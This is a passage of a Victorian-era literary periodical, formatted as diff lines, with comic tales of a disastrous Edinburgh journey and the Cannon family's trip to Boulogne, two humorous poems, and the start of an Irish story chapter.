+more, 'specially as Sarah----"
+
+"What of Sarah?" I asked in haste.
+
+"--'Specially as Sarah was going by at the time, and told me not to
+disturb you, for she knowd you had been uneasy in the night, and wanted
+a rest in the morning."
+
+"I waited for no further explanation, but rushed to my room, and
+dressed myself as fast as I could, casting many a rueful glance on my
+dilapidated countenance, and many a reflection equally rueful on the
+adventures of the night.
+
+My place was lost, and the money I paid for it; that was certain: but
+going to Edinburgh was indispensable. I proceeded, therefore, to book
+myself again; and, on doing so, found Joe Grabble in the coffee-room
+talking to Sarah. He had returned, like Paul Pry, in quest of his
+umbrella, or something else he had forgotten the night before, and I
+arrived just in time to hear him ask if I was off. The reply was by no
+means flattering to my vanity.
+
+"I do not know nothink about him," said the indignant damsel, "except
+that, whether he's off or on, he's a nasty old willin."
+
+"Hey-day, Peter!" exclaimed Joe. "So you are not gone? What is this
+Sarah says about you?"
+
+"May I explain," said I, approaching her with a bow, "fair Sarah?"
+
+"I don't want your conversation at no price," was the reply. "You're an
+old wretch as I wouldn't touch with a pair of tongs!"
+
+"Hey-day!" cried Joe. "This is not precisely the character you
+expected. The rump and dozen----"
+
+But the subject is too painful to be pursued. My misfortunes were,
+however, not yet at an end. I started that evening by the mail. We had
+not got twenty miles from town when the snow-storm began. I was one
+of its victims. The mail stuck somewhere in Yorkshire, where we were
+snowed up and half starved for four days, and succeeded only after a
+thousand perils, the details of which may be read most pathetically
+related in the newspapers of the period, in reaching our destination.
+When there, I lost little time in repairing to our agent,--a W.S. of
+the name of M'Cracken,--who has a handsome flat in Nicholson-street,
+not far from the College. He welcomed me cordially; but there was
+something dolorous in his tone, nevertheless.
+
+"Sit ye down, Master Gayless; sit ye down, and tak' a glass o' wine; it
+wull do ye guid after yer lang and cauld journey. I hae been looking
+for ye for some days."
+
+"What about the house of Screw and Longcut?" I inquired, with much
+anxiety.
+
+"I am vera sorry to say, naething guid."
+
+"Failed?"
+
+"Why, jest that; they cam' down three days ago. They struggled an'
+struggled, but it wad no do."
+
+"What is the state of their affairs?"
+
+"Oh! bad--bad--saxpence in the pund forby. But, why were you no here by
+the cotch o' whilk ye advised me. That cotch cam' in safe eneuch; and
+it puzzled me quite to see yer name bookit in the waybill, an' ye no
+come. I did no ken what to do. I suppose some accident detained you?"
+
+"It was indeed an accident," replied I faintly, laying down my untasted
+glass.
+
+"I hope it's of nae consequence elsewhere," said M'Cracken, "because
+it is unco unlucky _here_; for if ye had been in E'nbro' on the
+Saturday, I think--indeed I am sure--that we wad hae squeezed ten or
+twelve shillings in the pund out o' them,--for they were in hopes o'
+remittances to keep up; but, when the Monday cam', they saw the game
+was gane, and they are now clane dished. So you see, Mr. Gayless, ye're
+after the fair."
+
+"After the _fair_, indeed," said I; for men can pun even in misery.
+
+What my man of business told me, proved to be true. The dividend will
+not be sixpence in the pound, and it is more than six hundred and
+fifty pounds odd out of my pocket. I had the expense (including that
+of a lost place) of a journey to Edinburgh and back for nothing. I was
+snowed up on the road, and frozen up on the top of a staircase. I lost
+a pair of teeth, and paid the dentist for another. I was bumped and
+bruised, bullied by a barmaid, and hunted by a dog. I paid my rump and
+dozen amid the never-ending jokes of those who were eating and drinking
+them; and I cannot look forward to the next dog-days without having
+before my eyes the horrors of hydrophobia.
+
+Such was my last love!
+
+
+
+
+MY FATHER'S OLD HALL.
+
+BY MRS. CORNWELL BARON WILSON.
+
+
+                          I.
+
+    Though the dreams of ambition are faded and o'er,
+    And the world with its glitter can charm us no more;
+    Tho' the sunbeams of fancy less vividly play,
+    And in reason's calm twilight are melting away;
+    Still thought loves to wander, entranced in the maze
+    Of the joys and the hopes of those earlier days.
+    Fond mem'ry delights life's best moments to call
+    In the scene of my childhood, my Father's Old Hall!
+
+                          II.
+
+    Oh! light were the hearts which have met 'neath the dome
+    Of that once gaily throng'd, but now desolate home;
+    And light were the spirits that crowded the hearth
+    Of social enjoyment and innocent mirth;
+    When the laugh echo'd round at the wit-sparkling jest,
+    And the roses of innocence bloom'd in each breast;
+    Whose fragrance, once shed, Time can never recall,
+    Like the garlands we wreath'd round my Father's Old Hall!
+
+                          III.
+
+    Now scatter'd, dispers'd, 'mid the heartless and proud,
+    Where wander the steps of that once happy crowd?
+    Some have toil'd the steep rock towards the temple of Fame,
+    To snatch from her altars a wreath and a name;
+    Some have sought honour's death on the field or the wave;
+    Some have found in the land of the stranger _a grave_!
+    The chain is now broken, the links sever'd all,
+    That united the hearts in my Father's Old Hall!
+
+
+
+
+PORTRAIT GALLERY.--No. IV.
+
+CANNON FAMILY.--JOURNEY TO BOULOGNE.
+
+
+When Alexander the Great was gazetted commander-in-chief of the
+Macedonian forces, and was concocting the eighteen manœuvres at the
+Horse-guards of that celebrated country; when he was about fighting
+Darius, Xerxes, and Porus; when Cæsar was invading Gaul and Britain;
+when the Benedictine monks were compiling "_L'Art de verifier les
+dates_;" when Sterne was writing Tristram Shandy; when Burton was
+anatomizing melancholy; when the companions of Columbus were puzzling
+their brains to find out how an egg could stand on end; when Mrs. Glass
+was concocting her cookery-book, and Bayle his dictionary; their minds
+were as smooth and as calm as a fish-pond, a milk-bowl, a butter-boat,
+an oil-cruet, compared with the speculative and prospective anxieties
+of all the Cannons as they were rattled on towards Dover, on their
+way to the land of promise, where milk and honey were to be found
+flowing,--longevity in apothecaries' shops,--modesty purchased at
+milliners' counters,--and decorum taught by opera-dancers. In these
+Utopian dreams, England was considered an uninhabitable region of fogs,
+mists, tyranny, corruption, consumption, and chilblains; the fate of
+Nineveh was denounced on London,--the modern Babylon; and, had it been
+burning from Chelsea bun-house to Aldgate pump, and from the Elephant
+and Castle to the Wheatsheaf at Paddington, the Cannons would not have
+dared to cast "a lingering look behind them" without dreading the lot
+of the Lots.
+
+After their due share of impositions, thanks and curses, maledictions
+or valedictions, as they had been "genteel" or "shabby" with waiters,
+chambermaids, boots, porters, postilions, and hostlers on the road,
+the party arrived at Dover, and of course "put up," or rather, were
+"put down," at the Ship. But here fresh reasons for abhorring England
+were in store. When the waiters saw the arms of the Cannons on their
+panels, and the dragon, and the motto "_Crepo_," they all crowded round
+the travellers; but, like many apparently good things in this world,
+the inside of the fruit did not appear as attractive as its external
+bloom; and as the Cannons tumbled out, or jumped out, or rolled out, or
+staggered out of their vehicles, with all sorts of parcels and bundles,
+in brown and whity-brown paper, and pocket-handkerchiefs of silk and
+of cotton, without any of those neat and elegant cases containing all
+sorts of necessary articles for travellers in health or in sickness,
+and which form an invariable part of fashionable travellers' luggage,
+the waiters and the lookers-on seemed to consider the Cannons with
+looks that, without much knowledge of physiognomy, might have been
+interpreted "These people have no business here." They were reluctantly
+shown into a parlour, and to bed-rooms at the top of the house, with
+the usual formal apology, "Sorry, ma'am, we can't afford better
+accommodation; our house is quite full: the Duke of Scratchenburg
+and his suet is just come over from Germany, and the Prince of Hesse
+Humbuginstein is hourly looked for. Coming--going--coming--oh, Lord,
+what a life! going--going directly!"
+
+The Cannons were hungry; dinner was ordered _immediately_. Now it was
+the height of presumption--nay, of impudence--on the part of a hungry
+citizen, without courier or _valet de chambre_, or supporters to his
+arms, to make use of such an aristocratic adverb. _Immediately_ implies
+servitude, slavery, servility, at the nod of a master,--ay, and of an
+accidental master, an interloper in command. Is a free-born Englishman
+to run helter-skelter up and down stairs at the risk of breaking his
+neck, to hurry the cook, to expose himself to a forfeit of one shilling
+(not being a gentleman) by swearing and cursing in the teeth of the 19
+Geo. 2. c. 21, when the cook tells the officious waiter not to bother
+him, or, if the weather is hot and the fire is fierce, bids him, by a
+natural association of ideas, to go to h--; and all this because an
+ex-tallow-chandler is hungry, and wants an _immediate_ dinner! Forbid
+it, glorious constitution! forbid it, bill of rights!
+
+Old Commodus Cannon pulled the bell until the rope remained in his
+hand unconnected with its usual companion; for be it known for the
+information of impatient voyagers, that in modest apartments the said
+ropes are only attached by slender ties, which give way when vigorously
+jerked, that servants may not be disturbed. At last a waiter, bearing
+in his knitted brows the apprehension of a miserable shilling "tip" on
+departure, came in to inform the party that dinner would be served as
+soon as possible, but that the Duke of Scratchenburg and Prince Hesse
+Humbuginstein's dinners busied every hand in the house; but, if the
+gentlemen _chose_, there was a hot joint serving up in the coffee-room.
+
+Cannon was outrageous, and swore that he would go to another hotel.
+
+"You are perfectly welcome to do so, sir, if you like."
+
+"I'll represent your behaviour to all our friends!" exclaimed Mrs.
+Cannon.
+
+"None of our acquaintance shall ever put up in this house," added Miss
+Cannon.
+
+"Then, ladies," replied the waiter, with a ludicrous heavy sigh, "we
+shall be obliged to shut up shop!"
+
+At last an apology for a dinner was served; beefsteaks, potatoes, and
+a gooseberry tart. No oyster sauce!--the last oyster had been served
+to his Grace! No fish!--the last turbot had been served to his Serene
+Highness!
+
+"Your port wine and your sherry are execrable!"
+
+"His Grace thought them excellent."
+
+Cannon was bubbling over, but he philosophized over a glass of punch;
+and his family comforted themselves, over a cup of tea, with the
+thoughts of their speedy departure from "horrible England."
+
+Peter Cannon complained in the coffee-room of the treatment they had
+experienced, and he felt not a little annoyed when his interlocutor,
+a perfect stranger, observed that "they would have been much more
+comfortable had they put up at a second or third-rate hotel." They
+seemed created for wanton insult. Cornelius Cannon strolled out to
+inquire if there was anything to be seen in Dover; an insolent groom
+told him that, if he would go up to the Castle, he might see "a _rum
+cannon_" that carried a ball to Calais. Had he been a gentleman,
+Cornelius must have called him out, for he fancied that the term "_rum
+cannon_" had been a personality.
+
+The next morning the packet was to sail. Here again fresh outrages were
+heaped upon them. They were asked for the keys of their trunks, to be
+examined at the custom-house!
+
+"Why, what the deuce do they fancy I can have to export?" exclaimed
+Commodus Cannon.
+
+"Why, sir, perhaps it might be some machinery."
+
+There was something wantonly offensive in the insinuation that a
+man like Mr. Commodus Cannon should smuggle out a steam-engine, an
+improved loom, or a paper-mill, in his luggage! What could have been
+the cause of all these indignities? Simply this, as it was subsequently
+discovered: Sam Surly, being hungry, and not over nice, despite a
+brown and gold-laced red-collared livery, and military cockade, had
+gone to the _tap_ to enjoy a pull of half-and-half; and, unaccustomed
+to travel, had gone into the kitchen for some "victuals," instead of
+joining the board of the other under-gentlemen in the house. On the
+other hand, Sukey Simper, both for the sake of comfort and economy, had
+brought with her a bottle of rum, and some loaf-sugar wrapped up in
+brown paper, and, having been shown to her attic quarters, forthwith
+prepared a potation to refresh herself after her journey: neither being
+aware that it is part and parcel of a servant's duty in a respectable
+family to run up a heavy score at their master's expense. Now, Sam
+Surly had also picked up an old Yorkshire acquaintance, with whom
+he repaired to another eating-house, where, over a bowl of generous
+_humpty-dumpty_, Sam was prevailed upon to take charge of a _small
+parcel_ of little articles for a present at Boulogne, and, to avoid
+paying _freight_, he was recommended to conceal the said trifles in his
+capacious corduroy unmentionables.
+
+As Messrs. Cannons were perambulating the streets of Dover, they
+observed sundry gentlemen, some of them lords, wearing sailors'
+jackets and hats, and they therefore determined to turn out in a
+marine costume; for which purpose they hied to a Jew slop-seller
+for their outfit. Mr. Cannon, senior, donned a pea-coatie, with a
+pair of ample blue trousers, and a glazed hat with a jaunty riband;
+while his sons soon strutted about the town in yacht-club uniforms,
+with their hands knowingly thrust in the pockets of their jackets,
+resplendent with anchored buttons. They felt satisfied that they had
+produced "the desired effect," for every one stared at them as they
+stalked along in "rank entire," Commodus Cannon leading the van, and
+the ladies--enraptured at the appearance of the male part of the
+family--bringing up the rear. They were certainly annoyed by the
+impertinent observations of the vulgar people, boys and girls, who,
+with the usual English bad taste, did not know better,--who would
+titter, and exclaim, "I say, there goes the horse-marines!"
+
+"No, no," cried another; "it's the famous Sea Cook and his sons wot
+uncovered the Sandwich Islands!"
+
+"I say, commodore, how are they all in the _Fleet_?" roared out a
+costermonger.
+
+"Poor old gentleman! his eyebrows are worn out, looking out for squalls
+through a _grating_?" said a fourth.
+
+While a boatswain sang out, and whistled in Cannon's ear,
+
+"Yer, yer! man the sides! there's the flying Dutchman coming on board!"
+
+"Sing out for Captain Yokell, cockswain!" bellowed an impertinent
+sailor.
+
+Now, strange to say, these observations, which might have offended
+some sensitive persons, highly gratified our travellers. They had
+already obtained what they so ardently desired--_notoriety_, and had
+a chance of seeing their names in _print_; for, even when a man is
+abused and ridiculed, if it is in _print_, the sting carries with it
+its own antidote. He becomes public property; he is something; "There
+goes that confounded ass, Mr. Such-a-one! there goes that rum cove,
+Mr. What's-his-name!" Then, if he can but get himself caricatured, he
+is a made man. Were it not for the gratification derived from such
+publicity, would so many people walk, and talk, and dress, or undress,
+in the absurd manner we daily witness in our lounges? A certain lord
+was honoured with an hebdomadary flare-up by a certain weekly paper
+as regularly as church-bells are rung on the sabbath. It was expected
+that his lordship would have purchased the editor's silence,--absurd
+expectation! One might as well expect that a jolly prebend would
+decline sitting in half-a-dozen stalls at the same time. No, no; the
+editor abused on until he was tired of abusing _gratis_; when his
+lordship was so much annoyed that he paid to have scurrilous articles
+inserted, forwarded by himself.
+
+Two packets were about starting, a French one and an English one.
+The Cannons were resolved to punish their ungrateful countrymen,
+and embarked under the colours of France. A numerous French family
+were repairing on board; and, as the gentlemen wore a red riband in
+their button-holes, our party concluded they were noblemen. The two
+families were grouped near each other; and the French, with their usual
+condescension, honoured the Cannons with their countenance, conversing
+as well as persons scarcely acquainted with each other's language can
+conveniently converse.
+
+The morning was fine; but lowering clouds and a white sun would have
+induced experienced mariners to expect a fresh breeze. With great
+volubility of execrations the Gaul got under weigh, and paddled on
+slowly, while the English packet shot by like a dart. The French
+captain smiled at this swiftness, and, shrugging up his shoulders,
+exclaimed,
+
+"_Ces Anglais! ça n'a pas d'expérience!--nous verrons tout à l'heure!_"
+he added, rubbing his hands with delight.
+
+The influence of dress is wonderful. A certain costume seems to
+impart to the wearer, ideas pertaining to the class of society which
+he then personates. A lawyer's wig and gown make a man fancy that he
+could plead, and he regrets that he was not brought up to the bar. A
+civilian, who attends a fancy ball in a splendid uniform, is inspired
+with courageous ideas, which a free potation of _refreshment_ fans
+into a martial ardour. Now the Cannons did truly consider themselves
+sailors. The young men walked up and down the deck boldly, endeavouring
+to show how they could tread a plank or a seam on "sea legs" without
+staggering, although there was no more motion than under Kew-bridge;
+and then they would cast a knowing eye at the compass as they passed
+the binnacle, to ascertain if the helmsman steered judiciously,
+although the compass was as little known to them as the Koran. Then
+they would suddenly stop, and look at the sky; then suck their fingers,
+and hold them up, to _see_ which way the wind blew; and, when their
+cigars were out they would whistle or hum "_Rule Britannia!_" or, "_You
+gentlemen of England, who live at home at ease_," while they were
+lighting other havannahs.
+
+Old Cannon was equally busy; but he was seated amongst the ladies,
+_encouraging_ them against sea-sickness, which he said was all
+nonsense, and, if they were _very_ sick, recommended them most
+particularly to turn their faces to the wind, and to keep their veils
+before them not to _see_ the _sea_. Then to the French gentlemen he
+endeavoured to describe the battles of the Nile and of Trafalgar;
+and the Frenchmen of course concluded from his age, language, and
+appearance, that he was at least an admiral.
+
+A "_cat's-paw_," as the sailors call it, had now ruffled the surface
+of the water, and the vessel commenced heaving; ere long, most of the
+passengers assisted the packet in conjugating the verb "heave;" when,
+strange to say, the powers of the pea-jacket and the anchor-buttons
+were exhausted, and all the Cannons were drawn out,--a broadside
+of unutterable misery. Old Cannon roared out "_he was a-dying_,"
+and begged they would send for a doctor; and while he was rolling,
+and twisting, and twining upon the deck in agony, the cabin-boy was
+cleansing him with a wet swab. As to the Miss Cannons, they were
+assisted below,--not by their brothers, who, with dismay in their
+countenances, were "_holding on_" at every thing and every one they
+could catch, until a sudden regurgitation made them rush in desperation
+to the bulwark, with closed eyes and extended arms. Strange to say,
+the French gentlemen were not sick! possibly their red riband was more
+effectual than blue jackets; but they indulged their mirth at the
+expense of old Cannon, exclaiming,
+
+"_Mais, voyez donc, ce pauvre Monsieur de Trafalgar!_"
+
+It now was blowing fresh, and, to add to their misery, the paddles, by
+some mismanagement of the engineer, got obstructed, and the vessel was
+completely water-logged.
+
+The French passengers got frightened, and began shaking old Cannon,
+roaring out,
+
+"_Monsieur de Trafalgar, à la manœuvre! à la manœuvre!_"
+
+"Oh Lord! oh Lord!" exclaimed the old man in a piteous tone, "are we
+arrived?"
+
+"_No, sare! we sall all arriver down to de bottom. Mon Dieu! mon Dieu!_"
+
+"_Monsieur de Trafalgar, you do see! vat is de matter!_" exclaimed a
+poor Frenchwoman, who had rolled over him.
+
+The captain swore that it all arose from their having an English
+steam-engine, which his owner had insisted upon. Fortunately for the
+party, there happened to be an English sailor on board, who had all the
+while been sleeping on the bows, and who started at the uproar and the
+loud curses of the French crew: every one giving an advice which no
+one followed and all contradicted. He jumped down below, and in a few
+moments all was right again. When he returned upon deck, the captain,
+with a smile of importance, observed,
+
+"_I do suppose, sare, dat you have been vere long time in France; dat
+is de metod of which we do make use in circonstances similar._"
+
+"_Circumstances similar!_" exclaimed Jack, as he thrust a quid in his
+cheek, "then, why the h--didn't you do it yourself, you beggar?" and
+off he went to roost, as the Frenchman, pale with rage, muttered a
+"_sacré Godam!_"
+
+Soon, however, the harbour of Boulogne was made, and the crowd of its
+idle inhabitants were congregated as usual on the pier, to variegate
+the sameness of their amusements by the arrival of fresh food for
+curiosity and gossip regularly supplied by the packets. Unfortunately
+it was low water, and the steamer could not get in; it therefore
+became necessary that the passengers should be landed on the backs of
+fisherwomen, who are always ready saddled on these occasions for the
+carriage of voyagers. Great were the cries and the shrieks of the Miss
+Cannons and their mamma when thus mounted; but old Cannon, recovered
+from his sickness, seemed quite delighted. He jumped upon the shoulders
+of a fat old woman, who staggered under the weight, with a "'_Cré
+chien, qu'il est lourd!_" But Mr. Cannon was not satisfied with his
+natural weight, and, wishing to show the natives that he could ride
+_à l'Anglaise_, he stuck his knees in the sides of his biped steed,
+and began rising in his saddle, despite the tottering _Boulonnaire_,
+who was roaring out, "'_Cré Dieu, Monsieur l'Anglais! est-ce que vous
+étes enragé! Nom d'un Dieu! vous m'ereintes! Ah Jesus, je n'en puis
+plus!_" and, suiting the action to the word, down she rolled in the
+mud, pitching her rider head over heels, amidst convulsive roars of
+international laughter.
+
+This accident did not halt the cavalcade, and Cannon's affectionate
+spouse and children endeavoured in vain to rein in their chargers. On
+they trotted until they landed them at the pier, leaving Cannon in the
+hands of the fisherwoman, who not only insisted upon her fare in the
+most vehement language, but on compensation for the damage occasioned
+by her fall, which she justly attributed to his bad riding.
+
+The old gentleman, soused to the skin, was most anxious to reach some
+hotel where he could put on dry clothes; but he was in France,--and
+plans of comfort are not of easy execution in that land of freedom.
+He was stopped with his whole generation at the custom-house, where
+fresh annoyances awaited them. It had never occurred to him that in
+pacific times a passport was required, and he had neglected this
+necessary measure. In vain he roared out that his name was Cannon.
+"Were you the pope's park of artillery," replied the insolent scrivener
+of the police, "you must be _en règle_." While this warm discussion
+was going on, Commodus heard loud shrieks in a room into which his
+wife and daughters had been politely pushed. He asked for admittance
+in vain, bawling out that they were the Miss Cannons. It was indeed
+his astonished young ladies, whom a custom-house female official
+insisted upon searching. Another more terrific alarm shook his nerves;
+a terrible _fracas_ took place at the door, and he thought he heard
+the voice of Sam Surly cursing the entire French nation in the most
+eloquent Yorkshire dialect. Alas! it was he; but in what a degraded
+situation,--what a disgraceful condition for a free-born British
+yeoman! and yet we are at peace with the Gaul! Sam was stretched upon
+the ground, surrounded by what appeared to Cannon to be soldiers,
+with drawn swords, threatening his life, while he was emphatically
+denouncing their limbs. But, oh, horror! another soldier was pulling
+off his corduroys in presence of the multitude; while another, and
+another, and another were drawing out of them about two hundred
+yards of bobbinet! This operation over, the _douanier_ proceeded to
+draw out a specification, or _procès verbal_, not only regarding the
+seizure, but a black eye and a bloody nose that Sam had inflicted on
+"_des soldats Français_," for which his life alone could atone; but an
+English gentleman standing by, assured Cannon that a napoleon would
+manage these _braves_, if they had been half kicked to death. Money
+settled the business, and all the party proceeded toward the town,
+surrounded by a crowd of curious people in roars of laughter; the male
+part of the family were swearing most copiously, the ladies crying most
+piteously, and Sam Surly offering to box any one for a pot of porter.
+
+The name of Cannon had passed from mouth to mouth, and had reached
+Stubb's corner before the party. This celebrated laboratory of
+reputation and crucible of character is simply the front of a
+circulating library,--a very emporium of works of fiction. A group of
+idlers were, as usual, assembled at this saluting battery, who loaded
+so soon as the approach of what a wag called the _battering train_ was
+announced.
+
+This spot proved to the Cannon family a second baptismal fount, for,
+as they passed by, they all received cognominations according to their
+external appearance, which ever after have stuck to them. Commodus
+Cannon, a short, plump, dapper man, was called the Mortar; Mrs. Cannon,
+also of respectable _embonpoint_, and of a _tournure_ between an apple
+dumpling and a raspberry bolster-pudding, was named the Howitzer; Miss
+Molly, a tall slight figure, was favoured with the appellation of the
+Culverin; Biddy, a squat cherub-looking girl, was basely named the
+Pateraro; Lucy, who had rather a cast in each eye, which had induced
+the wits of Muckford to christen her Miss Wednesday (as they pretended
+that she looked both ways to Sunday,)--Miss Lucy, those pernicious
+sponsors called the Swivel; Kitty, a stout, short, beautiful creature,
+in whose form graceful undulations made up for length, they nicknamed
+the Carronade. The senior of the junior Cannons was a Short Nine;
+George, a Four Pounder; Cornelius, a Cohorn; Peter, a Long Six; and
+Oliver, a Pétard, the most horrible and degrading patronymic that could
+be bestowed upon any poor traveller in France.
+
+At last, after passing under this volley from Fort Stubb, they all
+arrived, more dead than alive, at a hotel. Here, to their additional
+comfort, they were informed that half of the ladies' things that
+had not been made up were seized, or, in other words, made over
+to the _douaniers_. Exhausted and despairing, they asked for some
+soup, expecting a bowl of mock-turtle or of gravy. A _potage de
+vermicelle_ was served up, the sight of which was not very encouraging
+for digestive organs just recovering from an inverted peristaltic
+motion. Cannon tasted it, and swore it was nothing but "hot water and
+worms." Miss Molly told him he ought to be ashamed of himself, before
+strangers, not to know wermichelly. Cannon swore lustily that they
+might swallow the wormy-jelly themselves, and asked for some other
+_potage_. A _soupe maigre_, made of sorrel and chervil, followed.
+Cannon had scarcely tasted the sour mixture, when he swore he was
+poisoned with oxalic acid, and roared out for a doctor, when he was
+informed to his utter dismay that all the doctors in the town had
+struck.
+
+Doctors strike!--never heard of such a thing. To be sure, they may
+strike a death-blow now and then; but doctors striking was a new sort
+of a conspiracy. The French waiters only shrugged up their shoulders
+with a "_Que voulez vous, monsieur!_" a most tantalizing reply to a man
+who cannot get anything that he wants.
+
+An English resident in the room explained matters. "We have, sir," he
+said, "several British practitioners in this place: many of them are
+men of considerable merit; but the learned body have just been thrown
+into a revolution by a Scotch physician, a Dr. M'Crusoe. The usual fee
+here, is a five-franc piece, or four shillings and twopence English; a
+sum so very small that many English are ashamed to tender it. M'Crusoe
+therefore proposed to his brethren that they should claim a higher
+remuneration."
+
+"Jantlemen," he said, "it's dero-gatory tul the deegnety of a
+pheeseecian like huz, who hae received a leeberal eeducation, mare
+aspeecially mysel', wha grauduated at Mo-dern Authens, tul accep' sic
+a pautry fee as four an' tippence. No maun intertains mare contemp'
+for siller than aw do; but the varry least we aught tul expec' is ten
+fraunks for day veesits, an' eleven fraunks for nighet calls; fare
+from the varry heegh price of oil and caundles, at the varry lowest
+caulculation, it costs me mare than ten _baubees per noctem_ to keep
+my noghcturnal lamp in pro-per trim. An' aw therefore houp in this
+deceesion we wull support each eather ho-nestly and leeberally. Aw need
+na remind jantlemen of yere erudeetion of the wee bit deformed body
+Æsop's fable, o' the bundle o' stucks, or o' the faucees of the Ro-man
+leectors, union cone-stitutes straingth. Therefore aw repeat it, aw
+trust ye wull enforce this raigulation like men o' indepaindence, an'
+conscious of the deegnity o' science."
+
+All the doctors acquiesced in the expediency of his project, and to
+that effect signed a resolution, with which M'Crusoe walked off, and
+read the document with a loud and audible voice, as sternly as a
+magistrate could read the riot act, at Stubb's corner. The indignation
+of the community knew no bounds; their wrath foamed and bubbled like
+the falls of Niagara; they swore by the heads of Galen and Esculapius
+that they would rather die of the pip, expire in all the agonies of
+hepatitis, gastritis, enteritis, and all the _itises_ that were ever
+known, than give one _centime_ more than five francs; nay, in their
+fury, they swore they would throw themselves into the hands of French
+doctors, and swallow a gallon of _tisane_ a day for a fifteen-pence
+fee; and hundreds of letters were sent off to Scotland for cheap
+doctors.
+
+This was what Dr. M'Crusoe wanted: he immediately circulated himself in
+every hole and corner to inform the public that,
+
+"In consequence of illeeberality o' ma breethren, under exusting
+cercumstaunces, aw feel mysel' called upon by pheelauntropy and
+humaunity to tak' whatever ma patients can afford to gie me."
+
+Such was the state of the faculty of Boulogne when Cannon swore he was
+poisoned. A French doctor came and ordered him four grains of tartar
+emetic in a gallon of hot water; and as French doctors are very kind
+and attentive to their patients, acting both as physicians and nurses,
+Cannon's attendant had the extreme benevolence to remain with him
+until he had not only swallowed, but restored, every _minim_ of this
+bounteous potation, which really amounted to the full capacity that
+Cannon possessed of containing fluids.
+
+Whether there was anything deleterious or not in the _soupe à
+l'oreille_, it is difficult to say; but the ladies were afflicted
+all night with what physicians call _tormina_, and _tenesmus_, and
+_intus-susceptio_, and _iliac passion_, and _borborygma_ in their
+_epigastric_ and their _hypochondriac_ regions; for all and several of
+which, the French doctor duly irrigated them with hot water and syrup
+of gum, threatening them with a _cuirasse de sangsues_ if they were
+not better in the morning, as he said that they all laboured under
+an _entero-epiplo-hydromphalo-gastrite_: while poor Cannon, writhing
+under the effect of _l'eau émétisée_ was denounced as being threatened
+with _entero-epiplomphale_, _entero-merocèle_, _entero-sarcocèle_,
+and _entero-ischiocèle_. Sick as they all were, they looked upon the
+native practitioner as a very learned man, and gladly gave thirty sous
+_a head_ for so much information, when an impudent English quack would
+have asked them ten francs for merely telling them that they had what
+is vulgarly called the mulligrubs.
+
+After an intolerable night, Morpheus was shedding his poppies over the
+exhausted travellers, when they were all roused by the most alarming
+cries; and Miss Lucy Cannon and Molly Cannon were dragged out of their
+beds by two French gentlemen, who had just jumped out of theirs, and,
+clasped in their arms, were forthwith carried out into the court-yard.
+
+
+
+
+THE RELICS OF ST. PIUS.
+
+
+    Saint Pius was a holy man,
+      And held in detestation
+    The wicked course that others ran,
+      So lived upon starvation.
+
+    He thought the world so bad a place
+      That decent folks should fly it;
+    And, dreaming of a life of grace,
+      Determin'd straight to try it.
+
+    A cavern was his only house,
+      Of limited expansion,
+    And not a solitary mouse
+      Durst venture near his mansion.
+
+    He told his beads from morn to night,
+      Nor gave a thought to dinner;
+    And, while his faith absorb'd him quite,
+      He ev'ry day grew thinner.
+
+    Vain ev'ry hint by Nature given,
+      His saintship would not mind her;
+    At length his soul flew back to heaven,
+      And left her bones behind her.
+
+    Some centuries were gone and past,
+      And all forgot his story,
+    Until a sisterhood at last
+      Reviv'd his fame and glory.
+
+    To Rome was sent a handsome fee,
+      And pious letter fitted,
+    Requesting that his bones might be
+      Without delay transmitted.
+
+    The holy see with sacred zeal
+      Their relic hoards turn'd over,
+    The skeleton, from head to heel,
+      Of Pius to discover;
+
+    And having sought with caution deep,
+      To pious tears affected,
+    They recognised the blessed heap
+      So anxiously expected.
+
+    And now the town, that would be made
+      Illustrious beyond measure,
+    Was all alive with gay parade
+      To welcome such a treasure.
+
+    The bishop, in his robes of state,
+      Each monk and priest attending,
+    Stood rev'rently within the gate
+      To view the train descending;
+
+    The holy train that far had gone
+      To meet the sacred relic,
+    And now with joyous hymns came on,
+      Most like a band angelic.
+
+    The nuns the splendid robes prepare,
+      Each chain, and flower, and feather;
+    And now they claim the surgeon's care
+      To join the bones together.
+
+    The head, the arms, the trunk, he found,
+      And placed in due rotation;
+    But, when the legs he reached, around
+      He stared in consternation!
+
+    In vain he twirl'd them both about,
+      Took one, and then took t'other,
+    For one turn'd in, and one turn'd out,
+      Still following his brother.
+
+    Two odd left legs alone he saw,
+      Two left legs! 'tis amazing!
+    "Two left legs!" cried the nuns, with awe
+      And anxious wonder gazing.
+
+    The wonder reach'd the listening crowd,
+      And all the cry repeated;
+    While some press'd on with laughter loud,
+      And some in fear retreated.
+
+    The bishop scarce a smile repress'd,
+      The pilgrims stood astounded;
+    The mob, with many a gibe and jest,
+      The holy bones surrounded.
+
+    The abbess and her vestal train,
+      The blest Annunciation,
+    With horror saw the threaten'd stain
+      On Pius' reputation.
+
+    "Cease, cease! ungrateful race!" cried she,
+      "This tumult and derision,
+    And know the truth has been to me
+      Revealed in a vision!
+
+    "The saint who now, enthron'd in heav'n,
+      Bestows on us such glory,
+    Had _two_ left legs by Nature given,
+      And, lo! they are before ye!
+
+    "Then let us hope he will no more
+      His blessed prayers deny us,
+    While we, with zeal elate, adore
+      The left legs of St. Pius."
+                                     C.S.L.
+
+
+
+
+DARBY THE SWIFT;
+
+OR,
+
+THE LONGEST WAY ROUND IS THE SHORTEST WAY HOME.
+
+
+CHAPTER III.
+
+               "Tipsy dance and jollity."--_L'Allegro._
+
+A full hour after Darby's departure I ventured to open the little
+dog-eared volume which he had thrown upon my table. The title-page was
+a curious specimen of that lingual learning which is so often to be met
+with in the remotest districts of Ireland. Gentle reader, a description
+of it would only spoil it; I therefore lay it before you as it appeared
+to me then, with this slight difference,--that the printer informs me
+he has no _letter_ that can adequately express or imitate the rustic
+simplicity, the careless elegance both of the character and setting up.
+It was as follows:
+
+                             THE DARBIAD!
+
+                  A BACCHI-SALTANT EPIC. IN ONE BOOK.
+                      AUCTORE CLAUDICANTE KELLIO.
+
+     Containing an Account of a Great Festival given at "The Three
+     Blacks," by one Mr. Darby Ryan, on the occasion of his coming into
+     his Fortune, and all the Songs an' Dances as perform'd there in
+     honor to him.
+
+                      Dulce est desipere in loco.
+
+     Printed by Mary Brady, X^{_her mark_}, at the sign of the Cross
+     Quills in Monk's Lane, opposit the Friary. Price sixpence; and to
+     be had of all Flyin' Stationers, and Dancin' Masthers.
+
+I could not but admire the classical taste and ingenuity with which
+Mr. Kelly, the author, had Latinized his name. He had read, no doubt,
+that Ovid was called Naso from the excessive size of his nose; and,
+with a delicacy peculiar to himself, had elegantly concealed the
+vulgar cognomen of _Lame_ Kelly,--by which he was known,--in the more
